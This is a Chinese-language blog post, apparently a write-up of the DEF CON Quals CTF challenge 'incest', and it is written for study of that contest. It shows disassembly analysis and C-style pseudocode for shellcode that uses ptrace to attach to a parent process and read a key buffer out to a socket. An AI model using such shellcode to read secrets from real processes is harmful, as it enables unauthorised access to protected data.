好久沒來寫點東西啦!前兩天又是一年一度的 Defcon Quals,照例 CHROOT 集合多位朋友一塊解題闖關。今年我沒能花太多時間在解題,只看了較有把握的兩題也順利解出,先來分享 "\xff\xe4\xcc" 的第一題 - incest。
此題目給了兩隻 Linux x64 binary,maw 和 sis 。當然二話不說,先來 strings。
$ strings maw
eth0$ objdump -D sis > sis.disasm
Could not open key.
/home/services/sis
從 sis.disasm 反組譯的內容中,可以看到此程式有 fork() 產生的子行程,會配置一塊記憶體,再將 recv() 收到的內容放到此記憶體空間,最後直接呼叫 callq *rdx,跳躍到該記憶體區域執行。而父行程也配了一塊記憶體,從某檔案中讀取內容後,就不斷呼叫 sched_yield()。
如果轉寫成 C 程式碼,大概長得像這樣:
很明顯 maw 是一個網路 daemon,accept() 連線後再執行 sis,執行時會先 open() key file,然後將 key file 的 fd 和 socket fd 一塊傳給 sis。根據 strace/ltrace 可以發現,key_fd = 3,sock_fd = 4,而且 sis 的子行程會直接跳到遠端傳送的資料裡執行。注意到,呼叫 mmap() 配置 sock_buffer 時,是用 PROT_READ|PROT_WRITE|PROT_EXEC,可讀可寫可執行,就可以塞 shellcode 執行啦。
但是,要怎麼取得 key file 的資料呢?
原來的想法是透過打造 open("key", O_RDONLY),然後 read(key_fd) 再 write(sock_fd),但測試結果發現會 Permission denied。而根據題目 incest 原意,搭配 sis.c,可以猜想應該是要由子行程透過 ptrace() 來讀取父行程裡的資料,也就是父行程已 read(key_fd, key_buffer),只要能讀取父行程的 key_buffer 內容,再 write(sock_fd) 就能遠端取得 key_buffer 內容啦。
打造 x64_86 的 shellcode,我是參考此文 64-bit-linux-shellcode,然後用 nasm 寫了一小段程式碼。流程大概如下:
shellcode()
{
int ppid;
int key_buffer_address;
int key_buffer;
int i;
char buffer[40];
user_regs_struct regs;
ppid = getppid();
ptrace (PTRACE_ATTACH, ppid, NULL, NULL);
wait(NULL);
ptrace (PTRACE_GETREGS,ppid, NULL, ®s);
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);
for(i = 0; i < 10; i++)
ptrace (PTRACE_PEEKDATA, ppid, key_buffer+i*8, buffer+i*8);
write(4, buffer, 40);
}
根據前面所提的 sis.disasm
- 400949: e8 82 fd ff ff callq 4006d0
- 40094e: 48 89 45 e8 mov %rax,-0x18(%rbp)
可以發現,取得父行程 rbp 暫存器值後去 -0x18,即為存放 calloc() 配置的記憶體位址。所以透過
key_buffer_address = regs.rbp-0x18;
ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &key_buffer);
則會得到父行程的 key_buffer 位址啦,接著用一個 for-loop 把父行程的 key_buffer 存的內容讀出來,再透過 write() 輸出到 sock_fd = 4,就能看到解答。
此題 shellcode 的 nasm 如下:
使用 nasm 編譯後,寫了一個小程式 dump,把 shellcode 輸出 stdout。
這樣就過關啦!
沒有留言:
張貼留言